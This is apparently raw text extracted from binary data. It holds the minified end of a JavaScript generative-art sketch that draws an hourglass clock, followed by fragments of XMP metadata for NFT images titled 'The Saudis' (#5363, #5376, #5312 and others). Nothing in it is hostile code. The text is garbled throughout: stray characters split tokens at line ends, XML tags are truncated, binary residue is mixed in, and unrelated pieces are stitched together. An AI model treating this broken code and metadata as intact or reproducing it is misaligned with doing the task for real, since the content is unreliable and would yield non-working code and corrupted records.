*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
FjDOUT:B9B0E8359189D607AE0503B1006C67743E9CFC3B45F649C70EEB9AFCE86DFB1F
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Messy White Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
alue>White Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Classic Green Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>htM
tps://token.thesaudisnft.com/5363</metadata:External_URL>
   <metadata:Name>The Saudis #5363</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>X
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Bald</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>White SheM
magh &amp; Stylish Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Round Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Shadowless Cigarette</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:ExternalM
_URL>https://token.thesaudisnft.com/5376</metadata:External_URL>
   <metadata:Name>The Saudis #5376</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Widow&#39;s Peak</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Normal Brown Beard &amp; Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_TM
      <metadata:Value>Brown Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Regular Reflective Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Miswak</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>M
   <metadata:External_URL>https://token.thesaudisnft.com/5312</metadata:External_URL>
   <metadata:Name>The Saudis #5312</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>H
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Neat</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>Red ShemM
agh</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Nerd Glasses</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesaudisnft.com/5323<M
/metadata:External_URL>
   <metadata:Name>The Saudis #5323</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>bJh
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Luxurious Brown Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
:Value>Red Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Vape</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesM
audisnft.com/5443</metadata:External_URL>
   <metadata:Name>The Saudis #5443</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>L4
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Stylish Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:ValM
ue>Brown Shemagh &amp; Stylish Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https:/M
/token.thesaudisnft.com/5462</metadata:External_URL>
   <metadata:Name>The Saudis #5462</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?> V
text/html;charset=utf-8
